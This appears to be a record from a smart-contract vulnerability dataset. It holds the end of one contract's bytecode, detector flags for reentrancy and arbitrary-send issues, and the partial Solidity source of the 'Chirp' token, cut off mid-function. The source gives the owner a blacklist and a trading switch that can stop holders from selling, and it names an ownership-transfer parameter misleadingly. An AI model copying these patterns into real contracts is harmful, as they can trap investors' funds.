91e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200218bdf4fbd2e1cde3187c7a16144146ecc9f47e8773cd96618eb7c4d543639b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,429 |
0x584684b4e4a542dd60e17f1651dd67e04c99c69f
|
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
/*
/')
//// /' )'
@ \/' )'
< ( (_...)'
\ )
\,,,,/
_|_
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CHIRP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Chirp";
string private constant _symbol = "CHIRP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0; //NO TAX
uint256 private _taxFeeOnBuy = 0; //NO TAX
//Sell Fee
uint256 private _redisFeeOnSell = 0; //NO TAX
uint256 private _taxFeeOnSell = 0; //NO TAX
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xeC542e3eA44111955f326fEdeebF3Dc234167F38);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xeC542e3eA44111955f326fEdeebF3Dc234167F38);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000000 * 10**9; // No Limits
uint256 public _maxWalletSize = 10000000000000 * 10**9; // No Limits
uint256 public _swapTokensAtAmount = 10000000000000 * 10**9; // No Limits
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
